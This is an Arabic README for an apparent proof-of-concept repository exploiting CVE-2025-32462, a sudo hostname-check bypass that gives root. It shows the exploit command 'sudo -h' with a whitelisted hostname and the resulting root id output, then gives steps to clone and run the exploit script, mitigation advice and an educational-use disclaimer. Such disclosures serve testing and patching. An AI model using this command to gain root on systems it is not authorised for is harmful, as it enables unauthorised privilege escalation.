CVE-2025-32462-Exploit: هروب سودو-ماتريكس

تصعيد الامتيازات عبر تزييف اسم المضيف (CVE-2025-32462)

"تناول الحبة الزرقاء... تنتهي القصة. تناول الحبة الحمراء... تحصل على صلاحيات الجذر."

الوصف

يُظهر هذا الاستغلال ثغرة تصعيد الامتيازات في سودو (CVE-2025-32462) حيث يمكن تجاوز القيود المستندة إلى اسم المضيف باستخدام العلامة -h. ينشئ الإثبات المفاهيمي (PoC) بيئة مستخدم مقيدة، ثم يهرب منها عن طريق تزييف اسم مضيف مدرج في القائمة البيضاء للحصول على وصول جذر.

[user@matrix-node]$ sudo -h zion-core bash  # تزييف اسم المضيف المدرج في القائمة البيضاء
[root@matrix-node]# id                          # حصلت على صلاحية الجذر على اسم مضيف خاطئ!
uid=0(root) gid=0(root) groups=0(root)

التفاصيل الفنية

• إصدارات سودو الضعيفة: < 1.9.17
• ناقل الهجوم: تصعيد امتيازات محلي
• العيب الرئيسي: تجاوز التحقق من اسم المضيف عبر معامل -h في سودو
• الأثر: يمكن للمستخدمين المقيدين الحصول على صلاحية الجذر على الأنظمة غير المهيأة بشكل صحيح

الاستخدام

استنساخ المستودع:

git clone https://github.com/cybersentinelx1/CVE-2025-32462-Exploit.git
cd matrix-sudo-escape

جعله قابلًا للتنفيذ وتشغيله:

chmod +x matrix-sudo-escape.sh
./matrix-sudo-escape.sh

اتبع المطالبات التفاعلية لعرض:

• اكتشاف ثغرة CVE-2025-32462
• إنشاء مستخدم
• إعداد تقييد اسم المضيف
• تنفيذ الاستغلال
• التنظيف

الحماية

• ✅ تحديث سودو إلى الإصدار v1.9.17+
• ✅ تجنب قيود سودو المستندة إلى اسم المضيف
• ✅ استخدم سياسات سودو المستندة إلى المجموعات بدلاً من ذلك

قانوني

لأغراض تعليمية/بحثية فقط. استخدم فقط على الأنظمة التي تملكها أو لديك إذن باختبارها.